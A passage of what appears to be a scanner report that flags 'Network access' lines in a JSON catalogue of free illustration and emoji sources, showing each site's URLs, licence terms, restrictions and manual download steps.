    "search_url": "https://www.humaaans.com",
  • Network accessline 698
    "licence": "CC0",       "licence_url": "https://www.humaaans.com",       "attribution": "none",
  • Network accessline 699
    "licence_url": "https://www.humaaans.com",
  • Network accessline 702
    "restrictions": "Download from the site (Gumroad or Blush)",       "style": "flat people built from mixable parts",       "evidence": "https://www.humaaans.com (read 2026-09-28)",
  • Network accessline 703
    "style": "flat people built from mixable parts",       "evidence": "https://www.humaaans.com (read 2026-09-28)",       "author": "Pablo Stanley",
  • Network accessline 704
    "evidence": "https://www.humaaans.com (read 2026-09-28)",
  • Network accessline 719
    ],       "navigate": [         "Give the person https://www.humaaans.com",
  • Network accessline 720
    "navigate": [         "Give the person https://www.humaaans.com",         "They click Download and enter $0 on Gumroad",
  • Network accessline 721
    "Give the person https://www.humaaans.com",         "They click Download and enter $0 on Gumroad",         "Export the pose as SVG from Figma, then illustrate.py add"
  • Network accessline 732
    "id": "blush",       "name": "Blush",       "url": "https://blush.design",
  • Network accessline 733
    "name": "Blush",       "url": "https://blush.design",       "access": "manual",
  • Network accessline 734
    "url": "https://blush.design",
  • Network accessline 735
    "access": "manual",       "default": false,       "search_url": "https://blush.design/search/{q}",
  • Network accessline 736
    "default": false,       "search_url": "https://blush.design/search/{q}",       "licence": "Blush licence",
  • Network accessline 737
    "search_url": "https://blush.design/search/{q}",
  • Network accessline 738
    "licence": "Blush licence",       "licence_url": "https://blush.design/license",       "attribution": "none",
  • Network accessline 739
    "licence_url": "https://blush.design/license",
  • Network accessline 742
    "restrictions": "SVG needs a paid plan (free is PNG); no resale, redistribution, merchandise or competing service",       "style": "many artists' collections, customizable",       "evidence": "https://blush.design/license and /plans (read 2
  • Network accessline 743
    "style": "many artists' collections, customizable",       "evidence": "https://blush.design/license and /plans (read 2026-09-28)",       "author": "",
  • Network accessline 744
    "evidence": "https://blush.design/license and /plans (read 2026-09-28)",
  • Network accessline 756
    {           "name": "Figma: Blush",           "url": "https://www.figma.com/community/plugin/838959511417581040/Blush"
  • Network accessline 757
    "name": "Figma: Blush",           "url": "https://www.figma.com/community/plugin/838959511417581040/Blush"         },
  • Network accessline 758
    "url": "https://www.figma.com/community/plugin/838959511417581040/Blush"
  • Network accessline 760
    {           "name": "Sketch",           "url": "https://blush.design/sketch"
  • Network accessline 761
    "name": "Sketch",           "url": "https://blush.design/sketch"         }
  • Network accessline 762
    "url": "https://blush.design/sketch"
  • Network accessline 768
    ],       "navigate": [         "Give the person https://blush.design/search/<q>",
  • Network accessline 769
    "navigate": [         "Give the person https://blush.design/search/<q>",         "They open an item, edit it, Download (SVG needs Pro)",
  • Network accessline 770
    "Give the person https://blush.design/search/<q>",         "They open an item, edit it, Download (SVG needs Pro)",         "illustrate.py add FILE --source blush"
  • Network accessline 780
    "id": "drawkit",       "name": "DrawKit (free packs)",       "url": "https://www.drawkit.com",
  • Network accessline 781
    "name": "DrawKit (free packs)",       "url": "https://www.drawkit.com",       "access": "manual",
  • Network accessline 782
    "url": "https://www.drawkit.com",
  • Network accessline 783
    "access": "manual",       "default": false,       "search_url": "https://www.drawkit.com/search?query={q}",
  • Network accessline 784
    "default": false,       "search_url": "https://www.drawkit.com/search?query={q}",       "licence": "DrawKit licence",
  • Network accessline 785
    "search_url": "https://www.drawkit.com/search?query={q}",
  • Network accessline 786
    "licence": "DrawKit licence",       "licence_url": "https://www.drawkit.com/license",       "attribution": "optional",
  • Network accessline 787
    "licence_url": "https://www.drawkit.com/license",
  • Network accessline 790
    "restrictions": "No redistribution, AI or machine-learning training, stock sites, templates or merchandise",       "style": "polished flat and grainy packs",       "evidence": "https://www.drawkit.com/license (read 2026-09-28)",
  • Network accessline 791
    "style": "polished flat and grainy packs",       "evidence": "https://www.drawkit.com/license (read 2026-09-28)",       "author": "",
  • Network accessline 792
    "evidence": "https://www.drawkit.com/license (read 2026-09-28)",
  • Network accessline 809
    {           "name": "Figma: DrawKit 3D & Illustration Library",           "url": "https://www.figma.com/community/plugin/1044419856113171023/Drawkit-3D-%26-Illustration-Library"
  • Network accessline 810
    "name": "Figma: DrawKit 3D & Illustration Library",           "url": "https://www.figma.com/community/plugin/1044419856113171023/Drawkit-3D-%26-Illustration-Library"         }
  • Network accessline 811
    "url": "https://www.figma.com/community/plugin/1044419856113171023/Drawkit-3D-%26-Illustration-Library"
  • Network accessline 817
    ],       "navigate": [         "Give the person https://www.drawkit.com/free-illustrations",
  • Network accessline 818
    "navigate": [         "Give the person https://www.drawkit.com/free-illustrations",         "They open a pack and click Email Download Link",
  • Network accessline 819
    "Give the person https://www.drawkit.com/free-illustrations",         "They open a pack and click Email Download Link",         "They unzip and pick; illustrate.py add"
  • Network accessline 830
    "id": "iradesign",       "name": "IRA Design (Creative Tim)",       "url": "https://iradesign.io",
  • Network accessline 831
    "name": "IRA Design (Creative Tim)",       "url": "https://iradesign.io",       "access": "manual",
  • Network accessline 832
    "url": "https://iradesign.io",
  • Network accessline 833
    "access": "manual",       "default": false,       "search_url": "https://iradesign.io/illustrations",
  • Network accessline 834
    "default": false,       "search_url": "https://iradesign.io/illustrations",       "licence": "MIT",
  • Network accessline 835
    "search_url": "https://iradesign.io/illustrations",
  • Network accessline 836
    "licence": "MIT",       "licence_url": "https://github.com/ira-design/ira-illustrations/blob/master/LICENSE.md",       "attribution": "notice",
  • Network accessline 837
    "licence_url": "https://github.com/ira-design/ira-illustrations/blob/master/LICENSE.md",
  • Network accessline 856
    ],       "navigate": [         "Give the person https://iradesign.io/gallery/illustrations",
  • Network accessline 857
    "navigate": [         "Give the person https://iradesign.io/gallery/illustrations",         "They click SVG under an item",
  • Network accessline 858
    "Give the person https://iradesign.io/gallery/illustrations",
  • Network accessline 868
    "id": "manypixels",       "name": "ManyPixels gallery",       "url": "https://www.manypixels.co/gallery",
  • Network accessline 869
    "name": "ManyPixels gallery",       "url": "https://www.manypixels.co/gallery",       "access": "manual",
  • Network accessline 870
    "url": "https://www.manypixels.co/gallery",
  • Network accessline 871
    "access": "manual",       "default": false,       "search_url": "https://www.manypixels.co/gallery",
  • Network accessline 872
    "default": false,       "search_url": "https://www.manypixels.co/gallery",       "licence": "ManyPixels licence",
  • Network accessline 873
    "search_url": "https://www.manypixels.co/gallery",
  • Network accessline 874
    "licence": "ManyPixels licence",       "licence_url": "https://www.manypixels.co/gallery",       "attribution": "none",
  • Network accessline 875
    "licence_url": "https://www.manypixels.co/gallery",
  • Network accessline 878
    "restrictions": "Only the PNG download is under the gallery licence; its SVG button leads to pixels.market, whose free licence is non-commercial. No packs, competing service, integrations, or automated or manual linking and embedding",     
  • Network accessline 879
    "style": "flat and outline scenes, recolorable on the site",       "evidence": "Licence text on https://www.manypixels.co/gallery (the old /gallery/license URL redirects there; read 2026-09-28)",       "author": "",
  • Network accessline 880
    "evidence": "Licence text on https://www.manypixels.co/gallery (the old /gallery/license URL redirects there; read 2026-09-28)",
  • Network accessline 892
    ],       "navigate": [         "Give the person https://www.manypixels.co/gallery",
  • Network accessline 893
    "navigate": [         "Give the person https://www.manypixels.co/gallery",         "They set the colour, search in the page, open a card",
  • Network accessline 894
    "Give the person https://www.manypixels.co/gallery",         "They set the colour, search in the page, open a card",         "They click DOWNLOAD PNG"
  • Network accessline 904
    "id": "scale",       "name": "Scale by Flexiple",       "url": "https://scale.flexiple.com/illustrations/",
  • Network accessline 905
    "name": "Scale by Flexiple",       "url": "https://scale.flexiple.com/illustrations/",       "access": "manual",
  • Network accessline 906
    "url": "https://scale.flexiple.com/illustrations/",
  • Network accessline 912
    "style": "flat, single- or multi-colour scenes, unDraw-like",       "licence": "Scale licence (on the page)",       "licence_url": "https://scale.flexiple.com/illustrations/",
  • Network accessline 913
    "licence": "Scale licence (on the page)",       "licence_url": "https://scale.flexiple.com/illustrations/",       "attribution": "none",
  • Network accessline 914
    "licence_url": "https://scale.flexiple.com/illustrations/",
  • Network accessline 920
    "PNG"       ],       "search_url": "https://scale.flexiple.com/illustrations/single/?query[search]={q}",
  • Network accessline 921
    ],       "search_url": "https://scale.flexiple.com/illustrations/single/?query[search]={q}",       "customize": "Brand colour picker before download",
  • Network accessline 922
    "search_url": "https://scale.flexiple.com/illustrations/single/?query[search]={q}",       "customize": "Brand colour picker before download",       "search_tips": [
  • Network accessline 937
    ],       "author": "Flexiple",       "evidence": "https://scale.flexiple.com/illustrations/ and the Flexiple terms of use, clause 4.2.18 (read 2026-09-28)"
  • Network accessline 938
    "author": "Flexiple",       "evidence": "https://scale.flexiple.com/illustrations/ and the Flexiple terms of use, clause 4.2.18 (read 2026-09-28)"     },
  • Network accessline 939
    "evidence": "https://scale.flexiple.com/illustrations/ and the Flexiple terms of use, clause 4.2.18 (read 2026-09-28)"
  • Network accessline 942
    "id": "pixeltrue",       "name": "Pixeltrue free packs",       "url": "https://www.pixeltrue.com/packs",
  • Network accessline 943
    "name": "Pixeltrue free packs",       "url": "https://www.pixeltrue.com/packs",       "access": "manual",
  • Network accessline 944
    "url": "https://www.pixeltrue.com/packs",
  • Network accessline 951
    "style": "quirky flat characters and animals, good for empty and error states",       "licence": "Pixeltrue licence",       "licence_url": "https://www.pixeltrue.com/license",
  • Network accessline 952
    "licence": "Pixeltrue licence",       "licence_url": "https://www.pixeltrue.com/license",       "attribution": "none",
  • Network accessline 953
    "licence_url": "https://www.pixeltrue.com/license",
  • Network accessline 960
    "AI"       ],       "search_url": "https://www.pixeltrue.com/packs",
  • Network accessline 961
    ],       "search_url": "https://www.pixeltrue.com/packs",       "search_tips": [
  • Network accessline 962
    "search_url": "https://www.pixeltrue.com/packs",
  • Network accessline 966
    ],       "navigate": [         "Give the person https://www.pixeltrue.com/premium/free-error-state-illustrations",
  • Network accessline 967
    "navigate": [         "Give the person https://www.pixeltrue.com/premium/free-error-state-illustrations",         "They download the ZIP",
  • Network accessline 968
    "Give the person https://www.pixeltrue.com/premium/free-error-state-illustrations",         "They download the ZIP",         "illustrate.py add the SVG"
  • Network accessline 976
    ],       "author": "Pixeltrue",       "evidence": "https://www.pixeltrue.com/license (read 2026-09-28)"
  • Network accessline 977
    "author": "Pixeltrue",       "evidence": "https://www.pixeltrue.com/license (read 2026-09-28)"     },
  • Network accessline 978
    "evidence": "https://www.pixeltrue.com/license (read 2026-09-28)"
  • Network accessline 981
    "id": "streamline",       "name": "Streamline free illustrations",       "url": "https://www.streamlinehq.com/illustrations/free",
  • Network accessline 982
    "name": "Streamline free illustrations",       "url": "https://www.streamlinehq.com/illustrations/free",       "access": "manual",
  • Network accessline 983
    "url": "https://www.streamlinehq.com/illustrations/free",
  • Network accessline 990
    "style": "polished flat and duotone scenes in about 17 named styles",       "licence": "Streamline Free License (some sets CC BY 4.0)",       "licence_url": "https://help.streamlinehq.com/en/articles/5354376-streamline-free-license",
  • Network accessline 991
    "licence": "Streamline Free License (some sets CC BY 4.0)",       "licence_url": "https://help.streamlinehq.com/en/articles/5354376-streamline-free-license",       "attribution": "required",
  • Network accessline 992
    "licence_url": "https://help.streamlinehq.com/en/articles/5354376-streamline-free-license",
  • Network accessline 1000
    "PDF"       ],       "search_url": "https://www.streamlinehq.com/illustrations/free?search={q}",
  • Network accessline 1001
    ],       "search_url": "https://www.streamlinehq.com/illustrations/free?search={q}",       "filters": "Free / Pro, family, style",
  • Network accessline 1002
    "search_url": "https://www.streamlinehq.com/illustrations/free?search={q}",
  • Network accessline 1006
    {           "name": "Figma: Streamline",           "url": "https://www.figma.com/community/plugin/852192486284901337"
  • Network accessline 1007
    "name": "Figma: Streamline",           "url": "https://www.figma.com/community/plugin/852192486284901337"         },
  • Network accessline 1008
    "url": "https://www.figma.com/community/plugin/852192486284901337"
  • Network accessline 1010
    {           "name": "MCP server (key)",           "url": "https://public-api.streamlinehq.com/mcp"
  • Network accessline 1011
    "name": "MCP server (key)",           "url": "https://public-api.streamlinehq.com/mcp"         }
  • Network accessline 1012
    "url": "https://public-api.streamlinehq.com/mcp"
  • Network accessline 1013
    }       ],       "attribution_template": "Illustrations by Streamline (https://streamlinehq.com)",
  • Network accessline 1014
    ],       "attribution_template": "Illustrations by Streamline (https://streamlinehq.com)",       "search_tips": [
  • Network accessline 1015
    "attribution_template": "Illustrations by Streamline (https://streamlinehq.com)",
  • Network accessline 1034
    "id": "iconscout",       "name": "IconScout free illustrations",       "url": "https://iconscout.com/free-illustrations",
  • Network accessline 1035
    "name": "IconScout free illustrations",       "url": "https://iconscout.com/free-illustrations",       "access": "manual",
  • Network accessline 1036
    "url": "https://iconscout.com/free-illustrations",
  • Network accessline 1044
    "style": "mixed marketplace from many contributors, flat to 3D",       "licence": "IconScout Simple License",       "licence_url": "https://iconscout.com/licenses#simple_license",
  • Network accessline 1045
    "licence": "IconScout Simple License",       "licence_url": "https://iconscout.com/licenses#simple_license",       "attribution": "required",
  • Network accessline 1046
    "licence_url": "https://iconscout.com/licenses#simple_license",
  • Network accessline 1056
    "3D"       ],       "search_url": "https://iconscout.com/free-illustrations/{q}",
  • Network accessline 1057
    ],       "search_url": "https://iconscout.com/free-illustrations/{q}",       "filters": "price (free), file type, individual or pack, categories",
  • Network accessline 1058
    "search_url": "https://iconscout.com/free-illustrations/{q}",
  • Network accessline 1062
    {           "name": "Figma",           "url": "https://iconscout.com/plugins/for-figma"
  • Network accessline 1063
    "name": "Figma",           "url": "https://iconscout.com/plugins/for-figma"         }
  • Network accessline 1064
    "url": "https://iconscout.com/plugins/for-figma"
  • Network accessline 1068
    "Set Price to Free first",         "Use View as Pack to keep one style",         "3D: https://iconscout.com/free-3d-icons/<q>; free items need a credit per the help centre"
  • Network accessline 1069
    "Use View as Pack to keep one style",         "3D: https://iconscout.com/free-3d-icons/<q>; free items need a credit per the help centre"       ],
  • Network accessline 1070
    "3D: https://iconscout.com/free-3d-icons/<q>; free items need a credit per the help centre"
  • Network accessline 1080
    ],       "author": "",       "evidence": "https://iconscout.com/licenses and /legal/terms-of-use (read 2026-09-28)"
  • Network accessline 1081
    "author": "",       "evidence": "https://iconscout.com/licenses and /legal/terms-of-use (read 2026-09-28)"     },
  • Network accessline 1082
    "evidence": "https://iconscout.com/licenses and /legal/terms-of-use (read 2026-09-28)"
  • Network accessline 1085
    "id": "craftwork",       "name": "Craftwork free assets",       "url": "https://craftwork.design",
  • Network accessline 1086
    "name": "Craftwork free assets",       "url": "https://craftwork.design",       "access": "manual",
  • Network accessline 1087
    "url": "https://craftwork.design",
  • Network accessline 1094
    "style": "mixed marketplace of 2D and 3D art from many authors",       "licence": "Craftwork Commercial License",       "licence_url": "https://craftwork.design/license",
  • Network accessline 1095
    "licence": "Craftwork Commercial License",       "licence_url": "https://craftwork.design/license",       "attribution": "none",
  • Network accessline 1096
    "licence_url": "https://craftwork.design/license",
  • Network accessline 1104
    "Framer"       ],       "search_url": "https://craftwork.design/assets?search={q}",
  • Network accessline 1105
    ],       "search_url": "https://craftwork.design/assets?search={q}",       "filters": "price (free), category",
  • Network accessline 1106
    "search_url": "https://craftwork.design/assets?search={q}",
  • Network accessline 1109
    {           "name": "Figma: Craftwork",           "url": "https://www.figma.com/community/plugin/1624724167089425156/craftwork-design-assets"
  • Network accessline 1110
    "name": "Figma: Craftwork",           "url": "https://www.figma.com/community/plugin/1624724167089425156/craftwork-design-assets"         }
  • Network accessline 1111
    "url": "https://www.figma.com/community/plugin/1624724167089425156/craftwork-design-assets"
  • Network accessline 1126
    ],       "author": "Craftwork",       "evidence": "https://craftwork.design/license (read 2026-09-28)"
  • Network accessline 1127
    "author": "Craftwork",       "evidence": "https://craftwork.design/license (read 2026-09-28)"     },
  • Network accessline 1128
    "evidence": "https://craftwork.design/license (read 2026-09-28)"
  • Network accessline 1131
    "id": "figma-community",       "name": "Figma Community free files",       "url": "https://www.figma.com/community",
  • Network accessline 1132
    "name": "Figma Community free files",       "url": "https://www.figma.com/community",       "access": "manual",
  • Network accessline 1133
    "url": "https://www.figma.com/community",
  • Network accessline 1141
    "style": "kits from many creators",       "licence": "CC BY 4.0 for free files, unless the creator states otherwise",       "licence_url": "https://help.figma.com/hc/en-us/articles/360042296374",
  • Network accessline 1142
    "licence": "CC BY 4.0 for free files, unless the creator states otherwise",       "licence_url": "https://help.figma.com/hc/en-us/articles/360042296374",       "attribution": "required",
  • Network accessline 1143
    "licence_url": "https://help.figma.com/hc/en-us/articles/360042296374",
  • Network accessline 1150
    "PNG (export)"       ],       "search_url": "https://www.figma.com/community/search?resource_type=files&sort_by=relevancy&query={q}&editor_type=all&price=free",
  • Network accessline 1151
    ],       "search_url": "https://www.figma.com/community/search?resource_type=files&sort_by=relevancy&query={q}&editor_type=all&price=free",       "search_tips": [
  • Network accessline 1152
    "search_url": "https://www.figma.com/community/search?resource_type=files&sort_by=relevancy&query={q}&editor_type=all&price=free",
  • Network accessline 1171
    "id": "icons8",       "name": "Icons8 Illustrations (Ouch!)",       "url": "https://icons8.com/illustrations",
  • Network accessline 1172
    "name": "Icons8 Illustrations (Ouch!)",       "url": "https://icons8.com/illustrations",       "access": "manual",
  • Network accessline 1173
    "url": "https://icons8.com/illustrations",
  • Network accessline 1181
    "style": "many artists' styles; some are named after brands, which the identity firewall rules out",       "licence": "Icons8 free licence (link required)",       "licence_url": "https://icons8.com/license",
  • Network accessline 1182
    "licence": "Icons8 free licence (link required)",       "licence_url": "https://icons8.com/license",       "attribution": "required",
  • Network accessline 1183
    "licence_url": "https://icons8.com/license",
  • Network accessline 1193
    "3D"       ],       "search_url": "https://icons8.com/illustrations/s/{q}",
  • Network accessline 1194
    ],       "search_url": "https://icons8.com/illustrations/s/{q}",       "filters": "free, animated, 3D, style, colours, mood",
  • Network accessline 1195
    "search_url": "https://icons8.com/illustrations/s/{q}",
  • Network accessline 1199
    {           "name": "Figma: Icons8",           "url": "https://www.figma.com/community/plugin/791103617505812222/icons8-icons-illustrations-photos"
  • Network accessline 1200
    "name": "Figma: Icons8",           "url": "https://www.figma.com/community/plugin/791103617505812222/icons8-icons-illustrations-photos"         }
  • Network accessline 1201
    "url": "https://www.figma.com/community/plugin/791103617505812222/icons8-icons-illustrations-photos"
  • Network accessline 1215
    ],       "author": "Icons8",       "evidence": "https://icons8.com/license and the Universal Multimedia Licensing Agreement (27 Nov 2025; read 2026-09-28)"
  • Network accessline 1216
    "author": "Icons8",       "evidence": "https://icons8.com/license and the Universal Multimedia Licensing Agreement (27 Nov 2025; read 2026-09-28)"     },
  • Network accessline 1217
    "evidence": "https://icons8.com/license and the Universal Multimedia Licensing Agreement (27 Nov 2025; read 2026-09-28)"
  • Network accessline 1220
    "id": "freepik",       "name": "Freepik (now Magnific)",       "url": "https://www.magnific.com",
  • Network accessline 1221
    "name": "Freepik (now Magnific)",       "url": "https://www.magnific.com",       "access": "manual",
  • Network accessline 1222
    "url": "https://www.magnific.com",
  • Network accessline 1228
    "style": "huge stock library that includes AI-generated items; consistency is low",       "licence": "Magnific Terms of Use (free with credit)",       "licence_url": "https://www.magnific.com/legal/terms-of-use",
  • Network accessline 1229
    "licence": "Magnific Terms of Use (free with credit)",       "licence_url": "https://www.magnific.com/legal/terms-of-use",       "attribution": "required",
  • Network accessline 1230
    "licence_url": "https://www.magnific.com/legal/terms-of-use",
  • Network accessline 1238
    "PNG"       ],       "search_url": "https://www.freepik.com/search?format=search&query={q}&type=illustration&license=free",
  • Network accessline 1239
    ],       "search_url": "https://www.freepik.com/search?format=search&query={q}&type=illustration&license=free",       "filters": "licence (free), type, AI-generated",
  • Network accessline 1240
    "search_url": "https://www.freepik.com/search?format=search&query={q}&type=illustration&license=free",
  • Network accessline 1253
    ],       "author": "",       "evidence": "https://www.magnific.com/legal/terms-of-use (June 2026; freepik.com redirects there; read 2026-09-28)"
  • Network accessline 1254
    "author": "",       "evidence": "https://www.magnific.com/legal/terms-of-use (June 2026; freepik.com redirects there; read 2026-09-28)"     },
  • Network accessline 1255
    "evidence": "https://www.magnific.com/legal/terms-of-use (June 2026; freepik.com redirects there; read 2026-09-28)"
  • Network accessline 1258
    "id": "svgrepo",       "name": "SVG Repo",       "url": "https://www.svgrepo.com",
  • Network accessline 1259
    "name": "SVG Repo",       "url": "https://www.svgrepo.com",       "access": "manual",
  • Network accessline 1260
    "url": "https://www.svgrepo.com",
  • Network accessline 1261
    "access": "manual",       "default": false,       "search_url": "https://www.svgrepo.com/vectors/{q}/",
  • Network accessline 1262
    "default": false,       "search_url": "https://www.svgrepo.com/vectors/{q}/",       "licence": "Per item (CC0, MIT, CC BY...)",
  • Network accessline 1263
    "search_url": "https://www.svgrepo.com/vectors/{q}/",
  • Network accessline 1264
    "licence": "Per item (CC0, MIT, CC BY...)",       "licence_url": "https://www.svgrepo.com/page/licensing/",       "attribution": "per-item",
  • Network accessline 1265
    "licence_url": "https://www.svgrepo.com/page/licensing/",
  • Network accessline 1285
    ],       "navigate": [         "Give the person https://www.svgrepo.com/vectors/<q>/flat/",
  • Network accessline 1286
    "navigate": [         "Give the person https://www.svgrepo.com/vectors/<q>/flat/",         "They open an item, check LICENSE, click DOWNLOAD SVG",
  • Network accessline 1287
    "Give the person https://www.svgrepo.com/vectors/<q>/flat/",         "They open an item, check LICENSE, click DOWNLOAD SVG",         "illustrate.py add FILE --source svgrepo --licence \"<as shown>\""
  • Network accessline 1298
    "id": "publicdomainvectors",       "name": "Public Domain Vectors",       "url": "https://publicdomainvectors.org",
  • Network accessline 1299
    "name": "Public Domain Vectors",       "url": "https://publicdomainvectors.org",       "access": "manual",
  • Network accessline 1300
    "url": "https://publicdomainvectors.org",
  • Network accessline 1307
    "style": "clipart similar to Openclipart",       "licence": "CC0",       "licence_url": "https://publicdomainvectors.org/en/public-domain",
  • Network accessline 1308
    "licence": "CC0",       "licence_url": "https://publicdomainvectors.org/en/public-domain",       "attribution": "none",
  • Network accessline 1309
    "licence_url": "https://publicdomainvectors.org/en/public-domain",
  • Network accessline 1316
    "EPS"       ],       "search_url": "https://publicdomainvectors.org/search?q={q}",
  • Network accessline 1317
    ],       "search_url": "https://publicdomainvectors.org/search?q={q}",       "search_tips": [
  • Network accessline 1318
    "search_url": "https://publicdomainvectors.org/search?q={q}",
  • Network accessline 1330
    ],       "author": "",       "evidence": "https://publicdomainvectors.org/en/public-domain (read 2026-09-28)"
  • Network accessline 1331
    "author": "",       "evidence": "https://publicdomainvectors.org/en/public-domain (read 2026-09-28)"     },
  • Network accessline 1332
    "evidence": "https://publicdomainvectors.org/en/public-domain (read 2026-09-28)"
  • Network accessline 1335
    "id": "fluent-emoji",       "name": "Microsoft Fluent Emoji",       "url": "https://github.com/microsoft/fluentui-emoji",
  • Network accessline 1336
    "name": "Microsoft Fluent Emoji",       "url": "https://github.com/microsoft/fluentui-emoji",       "access": "open",
  • Network accessline 1337
    "url": "https://github.com/microsoft/fluentui-emoji",
  • Network accessline 1344
    "style": "friendly emoji in Flat, Color (gradient) and 3D styles",       "licence": "MIT",       "licence_url": "https://github.com/microsoft/fluentui-emoji/blob/main/LICENSE",
  • Network accessline 1345
    "licence": "MIT",       "licence_url": "https://github.com/microsoft/fluentui-emoji/blob/main/LICENSE",       "attribution": "notice",
  • Network accessline 1346
    "licence_url": "https://github.com/microsoft/fluentui-emoji/blob/main/LICENSE",
  • Network accessline 1352
    "PNG (3D)"       ],       "search_url": "https://icon-sets.iconify.design/fluent-emoji-flat/?query={q}",
  • Network accessline 1353
    ],       "search_url": "https://icon-sets.iconify.design/fluent-emoji-flat/?query={q}",       "search_tips": [
  • Network accessline 1354
    "search_url": "https://icon-sets.iconify.design/fluent-emoji-flat/?query={q}",
  • Network accessline 1373
    "id": "noto-emoji",       "name": "Google Noto Emoji (2D, 3D and animated)",       "url": "https://github.com/googlefonts/noto-emoji",
  • Network accessline 1374
    "name": "Google Noto Emoji (2D, 3D and animated)",       "url": "https://github.com/googlefonts/noto-emoji",       "access": "open",
  • Network accessline 1375
    "url": "https://github.com/googlefonts/noto-emoji",
  • Network accessline 1383
    "style": "Google's emoji: flat 2D SVG, 3D renders (added Sep 2026) and Lottie animations",       "licence": "Apache-2.0 images (animated set CC BY 4.0)",       "licence_url": "https://github.com/googlefonts/noto-emoji/blob/main/LICENSE",
  • Network accessline 1384
    "licence": "Apache-2.0 images (animated set CC BY 4.0)",       "licence_url": "https://github.com/googlefonts/noto-emoji/blob/main/LICENSE",       "attribution": "notice",
  • Network accessline 1385
    "licence_url": "https://github.com/googlefonts/noto-emoji/blob/main/LICENSE",
  • Network accessline 1393
    "GIF"       ],       "search_url": "https://googlefonts.github.io/noto-emoji-animation/",
  • Network accessline 1394
    ],       "search_url": "https://googlefonts.github.io/noto-emoji-animation/",       "search_tips": [
  • Network accessline 1395
    "search_url": "https://googlefonts.github.io/noto-emoji-animation/",
  • Network accessline 1414
    "id": "openmoji",       "name": "OpenMoji",       "url": "https://openmoji.org",
  • Network accessline 1415
    "name": "OpenMoji",       "url": "https://openmoji.org",       "access": "open",
  • Network accessline 1416
    "url": "https://openmoji.org",
  • Network accessline 1422
    "style": "open-source emoji with a clean outlined look",       "licence": "CC BY-SA 4.0",       "licence_url": "https://openmoji.org/faq/",
  • Network accessline 1423
    "licence": "CC BY-SA 4.0",       "licence_url": "https://openmoji.org/faq/",       "attribution": "required",
  • Network accessline 1424
    "licence_url": "https://openmoji.org/faq/",
  • Network accessline 1430
    "PNG"       ],       "search_url": "https://openmoji.org/library/#search={q}",
  • Network accessline 1431
    ],       "search_url": "https://openmoji.org/library/#search={q}",       "search_tips": [
  • Network accessline 1432
    "search_url": "https://openmoji.org/library/#search={q}",
  • Network accessline 1445
    ],       "author": "OpenMoji (HfG Schwäbisch Gmünd)",       "attribution_template": "OpenMoji, CC BY-SA 4.0, https://openmoji.org",
  • Network accessline 1446
    "author": "OpenMoji (HfG Schwäbisch Gmünd)",       "attribution_template": "OpenMoji, CC BY-SA 4.0, https://openmoji.org",       "evidence": "openmoji.org and the GitHub repo (live 2026-09-28)"
  • Network accessline 1447
    "attribution_template": "OpenMoji, CC BY-SA 4.0, https://openmoji.org",
  • Network accessline 1451
    "id": "twemoji",       "name": "Twemoji (jdecked fork)",       "url": "https://github.com/jdecked/twemoji",
  • Network accessline 1452
    "name": "Twemoji (jdecked fork)",       "url": "https://github.com/jdecked/twemoji",       "access": "open",
  • Network accessline 1453
    "url": "https://github.com/jdecked/twemoji",
  • Network accessline 1459
    "style": "flat emoji, the former Twitter set",       "licence": "CC BY 4.0 (graphics)",       "licence_url": "https://github.com/jdecked/twemoji#license",
  • Network accessline 1460
    "licence": "CC BY 4.0 (graphics)",       "licence_url": "https://github.com/jdecked/twemoji#license",       "attribution": "required",
  • Network accessline 1461
    "licence_url": "https://github.com/jdecked/twemoji#license",
  • Network accessline 1467
    "PNG"       ],       "search_url": "https://icon-sets.iconify.design/twemoji/?query={q}",
  • Network accessline 1468
    ],       "search_url": "https://icon-sets.iconify.design/twemoji/?query={q}",       "search_tips": [
  • Network accessline 1469
    "search_url": "https://icon-sets.iconify.design/twemoji/?query={q}",
  • Network accessline 1487
    "id": "3dicons",       "name": "3dicons",       "url": "https://3dicons.co",
  • Network accessline 1488
    "name": "3dicons",       "url": "https://3dicons.co",       "access": "manual",
  • Network accessline 1489
    "url": "https://3dicons.co",
  • Network accessline 1495
    "style": "glossy, toy-like 3D objects in clay, colour and gradient styles (about 200)",       "licence": "CC0",       "licence_url": "https://3dicons.co",
  • Network accessline 1496
    "licence": "CC0",       "licence_url": "https://3dicons.co",       "attribution": "none",
  • Network accessline 1497
    "licence_url": "https://3dicons.co",
  • Network accessline 1503
    "WebP"       ],       "search_url": "https://3dicons.co/explore",
  • Network accessline 1504
    ],       "search_url": "https://3dicons.co/explore",       "search_tips": [
  • Network accessline 1505
    "search_url": "https://3dicons.co/explore",
  • Network accessline 1509
    ],       "navigate": [         "Give the person https://3dicons.co/explore",
  • Network accessline 1510
    "navigate": [         "Give the person https://3dicons.co/explore",         "They open an icon, choose colour and angle, download",
  • Network accessline 1511
    "Give the person https://3dicons.co/explore",         "They open an icon, choose colour and angle, download",         "Use the PNG as-is"
  • Network accessline 1524
    "id": "shapefest",       "name": "Shapefest",       "url": "https://shapefest.com",
  • Network accessline 1525
    "name": "Shapefest",       "url": "https://shapefest.com",       "access": "manual",
  • Network accessline 1526
    "url": "https://shapefest.com",
  • Network accessline 1532
    "style": "abstract 3D shapes with studio lighting",       "licence": "Shapefest Commercial+ licence",       "licence_url": "https://shapefest.com/license-agreement",
  • Network accessline 1533
    "licence": "Shapefest Commercial+ licence",       "licence_url": "https://shapefest.com/license-agreement",       "attribution": "none",
  • Network accessline 1534
    "licence_url": "https://shapefest.com/license-agreement",
  • Network accessline 1539
    "PNG"       ],       "search_url": "https://shapefest.com",
  • Network accessline 1540
    ],       "search_url": "https://shapefest.com",       "search_tips": [
  • Network accessline 1541
    "search_url": "https://shapefest.com",
  • Network accessline 1544
    ],       "navigate": [         "Give the person https://shapefest.com",
  • Network accessline 1545
    "navigate": [         "Give the person https://shapefest.com",         "They download a free pack",
  • Network accessline 1546
    "Give the person https://shapefest.com",         "They download a free pack",         "Use the PNG as-is"
  • Network accessline 1552
    ],       "author": "Shapefest",       "evidence": "https://shapefest.com/license-agreement (read 2026-09-28)"
  • Network accessline 1553
    "author": "Shapefest",       "evidence": "https://shapefest.com/license-agreement (read 2026-09-28)"     },
  • Network accessline 1554
    "evidence": "https://shapefest.com/license-agreement (read 2026-09-28)"
  • Network accessline 1557
    "id": "spline-community",       "name": "Spline community",       "url": "https://community.spline.design",
  • Network accessline 1558
    "name": "Spline community",       "url": "https://community.spline.design",       "access": "manual",
  • Network accessline 1559
    "url": "https://community.spline.design",
  • Network accessline 1565
    "style": "interactive 3D scenes shared by the community",       "licence": "CC BY 4.0",       "licence_url": "https://docs.spline.design",
  • Network accessline 1566
